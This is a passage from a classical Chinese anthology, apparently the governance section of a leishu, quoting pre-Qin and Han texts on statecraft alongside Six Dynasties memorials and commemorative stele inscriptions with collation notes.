世 之 恩 . 遂 良 己 之 志 . 确 然 难 夺 . 有 理 存 焉 . 臣 既 承 先 旨 . 出 缵 傍 统 . 受 命 有 资 . 反 身 何 奉 . 叙 心 感 悼 . 免 义 迫 躬 . 诚 贲 息 霁 . ○ 句 有 脱 文 . 年 将 志 学 . 礼 及 趋 拜 . 且 私 门 世 适 . 二 三 攸 序 . 若 天 眷 无 已 . 必 降 殊 私 . 乞 以 臣 霁 奉 膺 珪 社 . 伏 愿 陛 下 圣 慈 . 曲 垂 矜 慎 . 如 蒙 哀 允 . 施 重 含 育 .\n周 庾 信 功 臣 不 死 王 事 请 门 袭 封 表 曰 . 臣 闻 以 法 施 民 .\n必 传 祀 典 . 以 劳 定 国 . 必 有 承 家 . 孙 叔 敖 祭 酹 无 闻 . 有\n伤 良 相 . 汝 叔 齐 胤 嗣 绝 没 . 实 贬 贤 臣 . 谨 案 大 统 十 六 年\n格 . 先 有 封 爵 . 死 于 王 事 绝 嗣 者 . 听 以 支 子 继 袭 . 非 死\n王 事 . 不 许 承 封 . 前 牒 五 等 功 臣 . 皆 是 勤 劳 王 室 . 身 当\n患 难 . 扞 御 灾 祸 . 翼 赞 大 猷 . 一 日 遇 疾 . 身 捐 馆 舍 . 不\n幸 无 胤 . 享 祀 便 绝 . 于 礼 则 不 足 . 于 义 则 有 伤 . 未 求 上\n林 之 猎 . 已 削 其 侯 . 不 服 襜 褕 之 衣 . 先 除 其 国 . 伏 惟 皇\n帝 . 崇 德 旌 庸 . 兴 亡 继 绝 . 闻 鼓 鼙 而 思 将 帅 . 画 云 台 而\n念 旧 臣 . 岂 有 功 存 社 稷 . 而 无 后 可 守 . 事 尽 忠 贞 . 而 无\n祠 可 祭 . 周 于 蕃 屏 为 约 . 事 在 世 功 . 汉 以 山 河 为 誓 . 义\n存 长 久 . 臣 闻 存 人 之 国 . 大 于 救 人 之 灾 . 立 人 之 后 . 重\n于 封 人 之 墓 . 窃 以 殷 朝 继 及 . 无 废 小 宗 . 周 室 兴 亡 . 贵\n存 身 后 . 绍 高 密 者 累 叶 . 岂 专 邓 万 ○ 本\n集 作 禹 . 之 正 胤 . 嗣 平 阳 者 重 世 . 何 必 曹 参 之 嫡 孙\n. 愚 谓 生 有 其 劳 . 死 非 王 事 . 虽 在 支 庶 . 并 听 承 袭 . 幸\n使 伯 有 之 魂 . 不 能 为 厉 . 若 敖 之 鬼 . 其 无 馁 而 . 幽 显 对\n扬 . 人 神 咫 尺 .\n治 政 部 上 论 政 善 政 赦 宥\n礼 记 曰 . 圣 人 南 面 而 听 天 下 . 所 宜 先 者 五 . 一 曰 治 亲 . 二 曰 报 功 . 三 曰 举 贤 . 四 曰 使 能 . 五 曰 存 爱 . 察 有 仁 爱 者 也 . 五 者 一 得 于 天 下 . 民 无 不 足 不 赡 者 .\n大 戴 礼 曰 . 德 法 者 . 御 民 之 衔 勒 也 . 吏 者 辔 也 . 刑 者 策 也 . 天 子 御 者 . 内 史 太 史 . 左 右 手 也 . 古 者 以 法 为 衔 勒 . 以 官 为 辔 . 以 刑 为 策 . 以 人 为 手 . 故 御 天 下 数 百 年 而 不 解 惰 .\n管 子 曰 . 国 有 四 维 . 一 维 绝 则 倾 . 二 维 绝 则 危 . 三 维 绝 则 覆 . 四 维 绝 则 灭 . 倾 可 正 . 危 可 安 . 覆 可 起 . 灭 不 可 得 复 也 . 四 维 . 一 曰 礼 . 二 曰 义 . 三 曰 廉 . 四 曰 耻 .\n又 曰 . 尧 舜 之 民 . 非 生 而 治 . 桀 纣 之 民 . 非 生 而 乱 . 故 治 乱 在 上 .\n又 曰 . 圣 君 设 度 量 . 置 仪 治 . 如 天 地 之 坚 . 如 列 星 之 固 . 如 日 月 之 明 . 如 四 时 之 信 . 然 正 令 往 . 而 民 从 之 .\n晏 子 曰 . 景 公 问 治 国 何 患 . 对 曰 . 患 社 鼠 . 社 有 鼠 . 不 可 灌 . 人 君 之 左 右 . 出 则 卖 重 寒 热 . 入 则 矫 谒 收 利 .\n老 子 曰 . 治 大 国 . 若 烹 小 鲜 .\n书 曰 . 懔 乎 若 朽 索 之 驭 六 马 .\n商 君 书 曰 . 凡 人 主 所 以 劝 民 者 . 官 爵 也 . 国 之 所 兴 者 . 农 战 也 . 令 民 求 官 爵 . 皆 不 以 农 战 . 而 以 巧 言 虚 道 也 . 此 为 劳 民 . 劳 民 者 . 其 国 必 无 力 . 无 力 者 其 国 必 削 .\n又 曰 . 善 治 者 . 使 盗 跖 可 信 . 不 能 治 者 . 使 伯 夷 可 疑 .\n韩 子 曰 . 夫 尧 生 在 上 位 . 虽 十 桀 纣 不 能 乱 者 . 势 治 也 . 桀 纣 亦 生 在 上 . 虽 有 十 尧 舜 而 不 能 治 者 . 势 乱 也 .\n史 记 曰 . 齐 威 王 召 即 墨 大 夫 而 语 之 曰 . 自 子 之 居 即 墨 也 . 毁 日 至 . 然 吾 使 人 视 即 墨 . 田 野 辟 . 民 人 给 . 官 无 留 事 . 是 子 不 事 吾 左 右 . 以 求 誉 也 . 封 之 万 家 . 召 阿 大 夫 语 之 曰 . 自 子 之 守 阿 . 誉 日 闻 矣 . 然 使 使 视 阿 . 田 野 不 辟 . 民 贫 . 若 是 子 以 币 享 吾 左 右 . 以 求 誉 也 . 是 日 烹 阿 大 夫 . 及 左 右 尝 誉 者 . 于 是 齐 国 震 惧 . 人 不 敢 饰 非 .\n陆 贾 新 语 曰 . 君 子 为 治 也 . 混 然 无 事 . 寂 然 无 声 . 官 府 若 无 人 . 亭 落 若 无 吏 . 邮 无 夜 行 之 卒 . 乡 无 夜 召 之 正 . 耆 老 甘 味 于 堂 . 丁 男 耕 芸 于 野 .\n淮 南 子 曰 . 治 国 者 . 若 耨 田 . 去 害 苗 而 已 . 今 沐 者 堕 发 . 而 犹 为 之 不 已 . 以 其 所 去 者 少 . 所 利 者 多 也 .\n又 曰 . 盛 国 之 道 . 工 无 伪 事 . 农 无 遗 力 . 士 无 谄 行 . 官 无 失 法 . 譬 若 设 网 者 . 引 其 纲 而 万 目 张 .\n又 曰 . 张 琴 瑟 者 . 小 弦 而 大 弦 缓 . 者 急 也 . 立 事 者 . 贱 者 劳 而 贵 者 逸 也 . 禹 ○ 淮 南 泰 族 篇 作 舜 . 为 天 下 . 弹 五 弦 之 琴 . 歌 南 风 之 诗 . 周 公 肴 膳 不 撤 于 前 . 钟 鼓 不 解 于 悬 . 而 四 夷 服 . 嬴 秦 正 昼 决 狱 . 夜 理 书 . 正 . 秦 始 皇 名 也 . 御 史 冠 盖 相 接 于 道 . 戍 五 岭 以 备 越 . 五 岭 . 镡 城 之 岭 . 九 疑 之 塞 . 番 禺 之 都 . 南 野 之 界 . 射(淮 南 人 间 篇 作 余 .)干 之 水 . 桀 ○ 泰 族 篇 作 筑 . 修 城 以 守 胡 . 然 奸 邪 萌 生 . 而 乱 愈 滋 .\n又 曰 . 太 清 之 始 . 天 覆 以 德 . 地 载 以 乐 . 四 时 不 失 其 序 . 风 雨 不 降 其 虚 . 日 月 淑 清 而 扬 光 . 五 星 循 轨 而 不 失 行 . 凤 麟 至 . 蓍 龟 兆 . 甘 露 下 . 竹 实 满 . 流 黄 出 . 朱 草 生 . 满 . 成 也 . 流 黄 . 土 精 也 . 朱 草 生 于 庭 . 皆 瑞 应 也 . 逮 至 衰 世 . 松 柏 箘 . 宛 而 夏 槁 . 江 河 三 川 . 绝 而 不 流 . 夷 羊 在 牧 . 夷 羊 . 土 神 也 . 殷 之 将 亡 . 见 于 商 郊 也 . 飞 蛩 满 野 . 蛩 . 蝉 蔑 蒙 属 .\n又 曰 . 楚 王 问 詹 何 曰 . 治 国 奈 何 . 詹 何 曰 . 何 明 于 治 身 . 不 明 于 治 国 . 楚 王 曰 . 寡 人 得 奉 宗 庙 社 稷 . 愿 学 所 以 守 之 . 詹 何 对 曰 . 臣 未 尝 闻 身 乱 而 国 治 者 也 . 故 本 身 不 敢 对 以 末 . 楚 王 曰 . 善 .\n说 苑 曰 . 政 有 三 品 . 王 者 之 政 化 之 . 霸 者 之 政 威 之 . 强 国 之 政 胁 之 . 夫 此 三 者 . 各 有 所 施 . 而 化 之 为 贵 矣 . 化 之 不 变 . 而 后 威 之 . 威 之 不 变 . 而 后 刑 之 . 夫 ○ 原 讹 尖 . 据 冯 校 本 改 . 至 于 刑 . 则 非 王 者 之 所 贵 也 .\n新 序 曰 . 臧 孙 行 猛 政 . 子 贡 非 之 曰 . 夫 政 犹 张 琴 瑟 也 . 大 弦 急 则 小 弦 绝 矣 . 是 以 位 尊 者 . 德 不 可 以 薄 . 宫 大 者 . 治 不 可 以 小 . 地 广 者 . 制 不 可 以 狭 . 民 众 者 . 政 不 可 以 苛 . 独 不 闻 . 子 产 相 郑 乎 . 其 抡 材 推 贤 . 抑 恶 而 扬 善 . 故 有 大 略 者 . 不 问 其 所 短 . 有 德 厚 者 . 不 非 其 小 疵 . 其 牧 民 之 道 . 养 之 以 仁 . 教 之 以 礼 . 因 其 所 欲 而 与 之 . 从 其 所 好 而 劝 之 . 赏 之 疑 者 从 重 . 罚 之 疑 者 从 轻 .\n【 议 】 晋 潘 岳 九 品 议 曰 . 天 生 蒸 民 . 而 树 之 君 . 使 司 牧 之 . 勿 失 其 性 . 君 不 独 治 . 于 是 乎 建 牧 立 监 . 陈 其 辅 佐 . 故 曰 天 工 人 其 代 之 . 然 则 高 官 厚 禄 . 非 明 崇 贤 . 所 以 兴 治 . 卑 位 下 役 . 非 为 鄙 愚 . 所 以 供 职 . 虽 或 开 荣 辱 之 门 . 有 争 竞 之 弊 . 而 百 王 莫 之 能 易 者 . 此 道 不 可 以 二 故 也 . 方 今 天 下 隆 平 . 四 海 攸 同 . 荐 贤 达 善 . 各 以 类 进 . 夫 观 民 宣 化 . 为 治 之 本 . 虽 实 小 邑 . 犹 须 其 人 . 又 中 正 之 身 . 优 劣 悬 殊 . 苟 知 人 者 智 . 则 不 知 者 谬 矣 . 莫 如 达 官 . 各 举 其 属 . 万 岳 九 列 . 朝 所 取 信 . 郡 守 虽 轻 . 有 刺 史 存 . 举 之 当 否 . 实 司 其 事 . 考 绩 累 名 . 施 黜 陟 焉 . 进 贤 受 赏 . 不 进 贤 甘 戮 . 沮 劝 既 明 . 为 人 自 为 谋 . 庶 公 道 大 行 . 而 私 谒 息 矣 .\n【 论 】 后 汉 崔 寔 政 论 曰 . 自 尧 舜 之 帝 . 汤 武 之 王 . 皆 赖 明 哲 之 佐 . 博 物 之 臣 . 故 皋 陶 陈 谋 . 而 唐 虞 以 兴 . 伊 箕 作 训 . 而 殷 周 以 隆 . 及 继 体 之 君 . 欲 立 中 兴 之 功 者 . 曷 尝 不 赖 贤 哲 之 谋 乎 . 凡 天 下 之 所 以 不 治 者 . 常 疾 世 主 承 平 之 日 久 . 俗 渐 弊 而 不 寤 . 政 浸 衰 而 不 改 . 是 以 受 命 之 君 . 每 辄 创 制 . 中 兴 之 主 . 亦 匡 时 失 . 俗 人 拘 文 牵 古 . 不 达 推 制 . 奇 伟 所 闻 . 简 忽 所 见 . 焉 可 与 论 国 家 之 大 事 哉 . 孝 宣 皇 帝 . 明 于 君 人 之 道 . 审 于 为 政 之 原 . 故 严 刑 峻 法 . 破 奸 宄 之 胆 . 海 内 清 肃 . 天 下 谧 如 . 嘉 瑞 并 集 . 屡 获 丰 年 . 荐 勋 祖 庙 . 享 号 中 宗 . 筭 计 见 效 . 优 于 孝 文 . 元 帝 即 位 . 果 行 宽 政 . 卒 以 堕 损 . 威 权 始 夺 . 遂 为 汉 室 基 祸 之 主 . 治 国 之 道 . 得 失 之 理 . 于 斯 可 以 鉴 矣 . 昔 孔 子 作 春 秋 . 褒 齐 桓 . 懿 晋 文 . 叹 管 仲 之 功 . 夫 岂 不 美 文 武 之 道 哉 . 诚 达 权 救 之 理 也 . 故 圣 人 能 与 世 推 移 . 而 俗 士 苦 不 知 变 . 以 为 结 绳 之 初 . 可 复 治 乱 秦 之 绪 . 干 戚 之 舞 . 足 以 解 平 城 之 围 . 文 帝 乃 重 刑 . 非 轻 之 也 . 以 严 致 平 . 非 以 宽 致 太 平 也 .\n后 汉 王 符 潜 夫 论 曰 . 夫 为 国 者 . 以 富 民 为 本 . 以 正 学 为 基 . 民 富 乃 可 以 教 . 学 正 乃 得 义 . 民 贫 则 背 善 . 学 淫 则 诈 伪 . 明 君 之 法 . 务 此 二 者 . 以 为 太 平 之 基 . 致 休 征 之 隆 . 夫 富 民 者 . 以 农 桑 为 本 . 以 游 业 为 末 . 百 工 者 . 以 致 用 为 本 . 以 巧 饰 为 末 . 商 贾 者 . 以 通 乏 为 本 . 以 鬻 货 为 末 . 三 者 守 本 . 则 民 兴 富 . 国 之 所 以 为 国 者 . 以 民 也 . 治 国 之 日 舒 以 长 . 故 其 民 闲 暇 而 力 有 余 . 乱 国 之 日 促 以 短 . 故 其 民 困 务 而 力 不 足 . 所 谓 治 国 之 日 舒 以 长 者 . 非 能 请 羲 和 而 令 安 行 也 . 乃 若 明 察 而 百 官 理 . 民 安 静 而 力 有 余 . 故 视 日 长 也 . 所 谓 乱 国 之 日 促 以 短 者 . 非 能 谒 羲 和 而 令 疾 驱 也 . 乃 君 暗 则 百 官 乱 而 奸 宄 兴 . 细 民 怀 贿 而 趋 走 . 故 视 日 短 也 .\n魏 王 粲 ○ 原 讹 桀 . 据 冯 校 本 改 . 儒 吏 论 曰 . 士 同 风 于 朝 . 农 同 业 于 野 . 虽 官 职 务 殊 . 地 气 异 宜 . 然 其 致 功 成 利 . 未 有 相 害 而 不 通 者 也 . 至 乎 末 世 . 则 不 然 矣 . 执 法 之 吏 . 不 窥 先 王 之 典 . 搢 绅 之 儒 . 不 通 律 令 之 要 . 彼 刀 笔 之 吏 . 岂 生 而 察 刻 哉 . 起 于 几 案 之 下 . 长 于 官 曹 之 间 . 无 温 裕 文 雅 以 自 润 . 虽 欲 无 察 刻 . 弗 能 得 矣 . 竹 帛 之 儒 . 岂 生 而 迂 缓 也 . 起 于 讲 堂 之 上 . 游 于 乡 校 之 中 . 无 严 猛 断 割 以 自 裁 . 虽 欲 不 迂 缓 . 弗 能 得 矣 . 先 王 见 其 如 此 也 . 是 以 博 陈 其 教 . 辅 和 民 性 . 达 其 所 壅 . 袪 其 所 蔽 . 吏 服 训 雅 . 儒 通 文 法 . 故 能 宽 猛 相 济 . 刚 柔 自 ○ 原 作 百 . 据 冯 校 本 改 . 克 也 .\n【 表 】 魏 武 帝 陈 损 益 表 曰 . 陛 下 即 祚 . 复 蒙 试 用 . 遂 受 上 将 之 任 . 统 领 二 州 . 内 参 机 事 . 实 所 不 堪 . 昔 韩 非 闵 韩 之 削 弱 . 不 务 富 国 强 兵 . 用 贤 任 能 . 臣 以 驱 驱 之 质 . 而 当 钟 鼎 之 任 . 以 闇 钝 之 才 . 而 奉 明 明 之 政 . 顾 恩 念 责 . 亦 臣 竭 节 投 命 之 秋 也 . 谨 条 遵 奉 旧 训 . 权 时 之 宜 十 四 事 . 奏 如 左 . 庶 以 蒸 萤 . 增 明 太 阳 . 言 不 足 采 .\n魏 陈 王 曹 植 降 江 东 表 曰 . 臣 闻 士 之 羡 永 生 者 . 非 徒 以\n甘 食 丽 服 . 宰 割 万 物 而 已 . 将 有 以 补 益 群 生 . 尊 主 惠 民\n. 使 功 存 于 竹 帛 . 名 光 于 后 嗣 . 今 臣 文 不 昭 于 俎 豆 . 武\n不 习 于 干 戈 . 而 窃 位 藩 王 . 尸 禄 东 夏 . 消 损 天 日 . 无 益\n圣 朝 . 淮 南 尚 有 山 窜 之 贼 . 吴 会 犹 有 潜 江 之 虏 . 使 战 士\n未 获 归 于 农 亩 . 五 兵 未 得 戢 于 武 库 . 盖 善 论 者 不 耻 谢 .\n善 战 者 不 羞 走 . 夫 凌 云 者 泥 蟠 者 也 . 后 申 者 先 屈 者 也 .\n是 以 神 龙 以 为 德 . 尺 蠖 以 昭 义 . 昔 汤 事 葛 . 文 王 事 犬 夷\n. 固 仁 者 能 以 大 事 小 . 若 陛 下 遣 明 哲 之 使 . 继 能 陆 贾 之\n踪 者 . 使 之 江 南 . 发 恺 悌 之 诏 . 张 日 月 之 信 . 开 以 降 路\n. 权 必 奉 圣 化 . 斯 不 疑 也 .\n左 氏 传 曰 . 郑 人 游 于 乡 校 . 以 论 执 政 . 然 明 谓 子 产 . 毁 乡 校 如 何 . 子 产 曰 . 何 为 . 夫 人 朝 进 夕 退 而 游 焉 . 以 议 执 政 之 善 否 . 其 所 善 者 . 吾 则 行 之 . 其 所 恶 者 . 吾 则 改 之 . 是 吾 师 也 .\n又 曰 . 子 产 知 然 明 . 问 为 政 焉 . 曰 . 视 民 如 子 . 见 不 仁 者 诛 之 . 如 鹰 鹯 之 逐 鸟 雀 也 . 子 产 喜 . 以 语 子 大 叔 . 且 曰 . 他 日 吾 见 篾 之 面 而 已 . 今 吾 见 其 心 矣 . 子 太 叔 问 政 于 子 产 . 子 产 曰 . 政 如 农 功 . 日 夜 思 之 . 思 其 始 而 成 其 终 . 其 过 鲜 矣 .\n又 曰 . 郑 子 产 有 疾 . 谓 子 太 叔 . 我 死 . 子 必 为 政 . 唯 有 德 者 . 能 以 宽 服 民 . 其 次 莫 如 猛 . 夫 火 烈 . 民 望 而 畏 之 . 故 鲜 死 者 . 水 懦 . 民 狎 而 玩 之 . 则 多 死 焉 . 疾 数 月 而 卒 . 太 叔 为 政 . 不 忍 猛 而 宽 . 郑 国 多 盗 . 聚 于 雚 蒲 之 泽 . 太 叔 徒 兵 攻 雚 蒲 之 盗 . 尽 杀 之 . 仲 尼 曰 . 善 哉 . 政 宽 则 民 慢 . 慢 则 纠 之 以 猛 . 猛 则 民 残 . 残 则 施 之 以 宽 . 宽 以 济 猛 . 猛 以 济 宽 . 政 是 以 和 .\n论 语 曰 . 子 贡 问 政 . 子 曰 . 足 食 足 兵 . 民 信 之 矣 . 子 贡 曰 . 必 不 得 已 而 去 . 于 斯 二 者 何 先 . 曰 . 去 食 . 自 古 皆 有 死 . 民 无 信 不 立 .\n又 曰 . 季 康 子 问 政 于 孔 子 . 孔 子 对 曰 . 政 者 正 也 . 子 帅 以 正 . 孰 敢 不 正 .\n又 曰 . 季 康 子 问 政 于 孔 子 . 曰 . 如 杀 无 道 以 就 有 道 . 何 如 . 孔 子 曰 . 子 为 政 . 焉 用 杀 . 子 欲 善 而 民 善 矣 . 君 子 之 德 风 . 小 人 之 德 草 . 草 上 之 风 必 偃 .\n又 曰 . 或 谓 孔 子 曰 . 子 奚 不 为 政 . 子 曰 . 书 云 . 孝 乎 惟 孝 . 友 于 兄 弟 . 施 于 有 政 . 是 亦 为 政 . 奚 其 为 为 政 .\n家 语 曰 . 子 路 治 蒲 . 三 年 . 孔 子 过 之 . 入 其 境 . 曰 . 善 哉 由 乎 . 恭 敬 以 信 矣 . 入 其 邑 . 曰 . 善 哉 由 乎 . 忠 信 以 宽 矣 . 至 其 庭 . 曰 . 善 哉 由 乎 . 明 察 以 断 矣 . 子 贡 问 曰 . 夫 子 未 见 由 之 政 . 而 三 称 其 善 . 可 得 闻 乎 . 孔 子 曰 . 入 其 境 . 田 畴 治 . 草 莱 辟 . 沟 洫 深 . 此 恭 敬 以 信 . 故 其 民 尽 力 也 . 入 其 邑 . 墙 屋 完 固 . 树 木 甚 茂 . 此 其 忠 信 而 宽 . 故 其 民 不 偷 也 . 至 其 庭 . 甚 清 闲 . 诸 下 用 命 . 此 其 明 察 以 断 矣 .\n又 曰 . 哀 公 问 政 于 孔 子 . 孔 子 对 曰 . 政 之 急 者 . 莫 大 乎 使 民 富 且 寿 也 . 公 曰 . 为 之 奈 何 . 孔 子 曰 . 省 力 役 . 薄 赋 敛 . 则 民 富 矣 . 敦 礼 教 . 远 罪 戾 . 则 民 寿 矣 . 公 曰 . 寡 人 欲 行 夫 子 之 言 . 恐 吾 国 贫 . 孔 子 曰 . 诗 云 . 恺 悌 君 子 . 民 之 父 母 . 未 有 其 子 富 而 父 母 贫 也 .\n又 曰 . 卫 灵 公 问 孔 子 曰 . 有 语 寡 人 为 国 家 者 . 谨 之 于 庙 堂 之 上 . 则 政 治 矣 . 何 如 . 孔 子 曰 . 其 可 也 . 爱 人 者 则 人 爱 之 . 恶 人 者 则 人 恶 之 .\n又 曰 . 哀 公 问 于 孔 子 曰 . 寡 人 欲 国 小 则 能 守 . 大 则 能 攻 . 其 道 何 如 . 孔 子 曰 . 使 君 朝 庭 有 礼 . 上 下 和 亲 . 天 下 百 姓 . 皆 君 之 民 也 . 将 谁 攻 焉 . 苟 违 此 道 . 民 叛 如 归 . 皆 君 之 雠 也 . 将 谁 与 守 . 公 曰 . 善 哉 . 于 是 废 泽 梁 之 禁 . 以 惠 百 姓 .\n管 子 曰 . 凡 为 国 之 道 . 必 先 富 民 . 民 富 则 易 治 也 . 贫 则 难 治 也 . 奚 以 知 然 . 民 富 则 安 乡 . 安 乡 则 重 家 . 重 家 则 敬 上 畏 罪 . 敬 上 畏 罪 . 则 易 治 也 . 贫 则 危 乡 . 危 乡 则 轻 家 . 轻 家 则 凌 上 犯 禁 . 凌 上 犯 禁 . 则 难 治 也 . 昔 者 七 十 九 代 之 君 . 法 制 不 一 . 号 令 不 同 . 然 而 俱 王 天 下 . 何 也 . 必 国 富 而 粟 多 也 .\n又 曰 . 政 之 所 行 . 在 顺 民 心 . 政 之 所 废 . 在 逆 民 心 . 民 恶 忧 劳 . 我 佚 乐 之 . 民 恶 贫 贱 . 我 富 贵 之 . 民 恶 危 坠 . 我 存 安 之 . 民 恶 灭 绝 . 我 生 育 之 .\n又 曰 . 凡 牧 民 者 . 欲 民 之 正 . 欲 民 之 正 也 . 则 微 邪 不 可 不 禁 也 . 微 邪 者 . 大 邪 之 所 生 也 . 微 邪 不 禁 . 而 求 大 邪 之 亡 伤 . 固 不 可 得 也 .\n邓 析 书 曰 . 夫 水 浊 则 无 掉 尾 之 鱼 . 政 苛 则 无 逸 乐 之 士 .\n孟 子 曰 . 为 高 必 因 丘 陵 . 为 下 必 因 川 泽 . 为 政 必 因 先 王 之 道 .\n庄 子 曰 . 至 德 之 世 . 山 无 蹊 隧 . 泽 无 舟 梁 . 乌 □ 之 巢 . 可 攀 援 而 窥 也 .\n孙 卿 子 曰 . 夫 一 仞 之 墙 . 民 不 能 逾 . 百 仞 之 山 . 童 子 升 而 游 焉 . 凌 迟 故 也 . 今 仁 义 之 凌 迟 久 矣 . 能 谓 民 弗 逾 焉 .\n商 君 书 曰 . 古 者 民 聚 生 而 群 处 . 故 求 有 上 也 . 然 则 天 下 之 乐 有 上 . 将 以 为 治 也 . 今 有 主 而 无 法 . 其 害 与 无 主 同 . 有 法 而 不 胜 其 乱 . 与 无 法 同 也 .\n韩 子 曰 . 故 善 毛 嫱 而 西 施 之 美 . 无 益 吾 ○ 原 作 君 . 据 冯 校 本 改 . 面 . 用 脂 泽 粉 黛 . 则 倍 其 初 . 言 先 王 仁 义 . 无 益 于 治 . 必 赏 罚 则 国 治 . 赏 罚 法 度 者 . 国 之 脂 泽 粉 黛 .\n又 曰 . 势 者 . 君 之 马 也 . 威 者 . 君 之 轮 也 . 势 固 则 舆 安 . 威 定 则 策 劲 . 臣 从 则 马 良 . 民 和 则 轮 利 . 为 国 有 失 于 此 . 覆 舆 奔 马 . 折 策 败 轮 矣 . 舆 覆 马 奔 . 策 折 轮 败 . 载 者 安 得 不 危 .\n新 序 曰 . 鲁 君 使 密 子 贱 为 单 父 宰 . 子 贱 辞 去 . 因 请 善 书 者 . 使 书 宪 法 . 鲁 君 与 之 . 至 单 父 . 使 书 . 子 贱 从 旁 引 其 肘 . 书 丑 则 怒 之 . 欲 好 书 则 又 引 之 . 书 者 患 之 . 辞 去 . 归 以 告 鲁 君 . 鲁 君 曰 . 子 贱 苦 吾 扰 之 . 使 不 得 施 其 善 政 也 . 乃 命 有 司 . 无 得 擅 征 发 单 父 . 单 父 大 理 . 事 具 巧 艺 部 书 篇 .\n【 碑 】 梁 裴 子 野 丹 阳 尹 湘 东 王 善 政 碑 曰 . 皇 上 建 显 号 . 垂 鸿 名 . 广 大 配 乎 天 地 . 光 华 象 乎 日 月 . 长 驾 远 抚 . 横 逸 乎 都 外 . 策 镜 区 域 . 充 塞 乎 无 垠 . 上 冠 九 垓 . 旁 济 八 表 . 制 礼 以 告 成 功 . 作 乐 以 彰 治 定 . 福 应 允 臻 . 祥 庆 符 合 . 六 府 孔 脩 . 九 官 咸 事 . 于 往 岁 也 . 有 司 奏 以 湘 东 王 为 宣 惠 将 军 丹 阳 尹 . 既 而 下 车 为 政 . 振 民 育 德 . 循 名 责 实 . 举 无 遗 虑 . 若 夫 据 馈 累 起 . 求 贤 如 不 及 . 卑 身 折 节 . 用 人 若 由 己 . 玉 帛 旅 于 丘 园 . 辟 书 交 乎 涂 路 . 求 余 论 于 故 府 . 想 遗 风 于 旧 哲 . 延 儒 生 于 东 合 . 命 文 学 于 后 车 . 重 门 洞 启 . 列 筵 广 置 . 四 民 总 至 . 狱 讼 殷 集 . 王 兼 而 治 之 . 绰 有 余 裕 . 上 弘 其 礼 . 下 悦 其 风 . 虚 往 实 归 . 人 得 所 至 . 由 是 百 吏 仰 成 . 具 僚 敛 衽 . 千 里 之 间 . 有 怀 必 亮 . 躬 亲 劝 课 . 赋 政 授 时 . 辨 相 物 宜 . 务 尽 地 利 . 由 是 仍 岁 有 秋 . 余 粮 栖 亩 . 是 以 缙 绅 先 生 . 愀 然 相 顾 . 遂 造 象 魏 . 拜 而 陈 之 . 有 诏 报 曰 . 纤 介 之 善 . 春 秋 必 书 . 吏 民 归 美 . 难 用 抑 绝 . 于 是 二 三 君 子 . 欢 得 所 奏 . 乃 择 工 良 匠 . 追 石 名 山 . 撰 德 选 辞 . 兴 事 篆 刻 . 俾 万 代 之 下 . 知 斯 文 之 在 斯 . 铭 曰 . 茫 茫 禹 迹 . 经 启 万 方 . 平 秩 肇 定 . 曰 若 我 皇 . 并 苞 九 域 . 画 野 分 疆 . 猗 欤 帝 子 . 日 就 月 将 . 疏 爵 分 品 . 奄 有 潇 湘 . 君 王 先 启 . 既 表 南 国 . 肇 允 神 童 . 飞 上 德 . 导 达 玄 微 . 优 游 翰 墨 . 行 成 师 范 . 文 为 丽 则 . 帝 曰 尔 诣 . 出 康 庶 绩 . 勿 替 敬 典 . 大 猷 允 迪 . 我 王 显 允 . 洵 美 且 丽 . 夙 夜 干 干 . 有 隆 无 替 . 光 赞 大 朝 . 庇 民 济 世 . 京 邑 翼 翼 . 永 承 嘉 惠 .\n陈 徐 陵 为 司 空 徐 州 刺 史 侯 安 都 德 政 碑 曰 . 岩 岩 天 柱 . 大 矣 周 山 之 峰 . 桓 桓 地 轴 . 壮 哉 昆 仑 之 阜 . 三 光 悬 而 不 坠 . 九 土 镇 以 无 疆 . 承 干 合 德 之 君 . 则 天 体 元 之 后 . 所 以 并 咨 四 镇 . 咸 建 五 臣 . 业 配 苍 祗 . 功 成 寓 县 . 至 于 流 名 雅 颂 . 着 美 风 诗 . 年 代 悠 然 . 寂 寥 无 纪 . 其 能 继 兹 歌 咏 者 . 司 空 侯 使 君 乎 . 自 文 昭 武 穆 . 祚 土 开 家 . 濮 水 盛 其 衣 簪 . 荥 波 分 其 绪 秩 . 仁 义 之 道 . 夷 门 美 于 大 梁 . 儒 雅 之 风 . 司 徒 重 于 强 汉 . 自 通 人 许 劭 . 托 命 于 江 湖 . 高 士 袁 忠 . 寄 身 于 交 越 . 俱 违 建 安 之 难 . 独 处 衡 山 之 阳 . 祖 天 资 秀 杰 . 世 载 雄 豪 . 卓 富 拟 于 公 侯 . 班 佃 必 于 旌 鼓 . 父 光 禄 大 夫 . 邑 里 开 通 德 之 门 . 州 乡 无 抗 礼 之 客 . 自 茫 茫 禹 迹 . 赫 赫 宗 周 . 家 灭 骊 戎 . 国 亡 夷 羿 . 我 高 祖 武 皇 帝 . 迎 河 图 于 浪 泊 . 括 地 象 于 炎 洲 . 南 兴 涿 鹿 之 师 . 北 问 共 工 之 罪 . 天 生 宰 辅 . 尧 年 致 白 虎 之 祥 . 神 赐 英 贤 . 殷 帝 感 苍 龙 之 杰 . 公 亦 观 时 伫 圣 . 啸 吒 风 云 . 跪 开 黄 石 之 书 . 高 咏 玄 池 之 野 . 沉 吟 梁 甫 . 自 比 管 仲 之 才 . 惆 怅 华 ○ 本 集 作 莘 . 郊 . 久 负 伊 生 之 叹 . 自 羯 虏 侵 华 . 群 蛮 纵 轶 . 衡 ○ 原 讹 后 . 据 冯 校 本 改 . 皋 桂 部 之 地 . 四 战 五 达 之 郊 . 郡 境 贤 豪 . 将 谋 御 难 . 长 者 佥 论 . 推 公 主 盟 . 义 士 雄 民 . 星 罗 雾 集 . 公 既 膺 五 聘 . 方 启 六 韬 . 率 是 骁 徒 . 仍 开 岭 峤 . 自 大 讨 潇 湘 . 同 兹 樊 郦 . 下 军 违 命 . 上 策 不 宣 . 败 我 王 师 . 受 拘 勍 盗 . 大 陈 格 于 文 祖 . 咸 秩 具 神 . 率 土 依 风 . 群 灵 禀 朔 . 公 亦 忠 为 令 德 . 天 纂 之 谋 . 吴 帐 斯 开 . 卫 门 无 拥 . 虽 复 季 孙 还 鲁 . 随 武 济 河 . 国 庆 民 欢 . 相 俦 匪 若 . 即 授 使 持 节 开 府 仪 同 三 司 丹 阳 尹 . 昔 光 武 不 尤 于 冯 异 . 穆 公 深 礼 于 孟 明 . 终 报 王 官 之 师 . 遂 举 咸 阳 之 地 . 斯 乃 圣 主 之 宏 略 . 而 名 臣 之 远 图 者 焉 . 皇 帝 以 陶 唐 启 国 . 致 玉 版 于 河 宗 . 颛 顼 承 家 . 佐 金 天 于 江 水 . 经 纶 草 昧 . 定 鼎 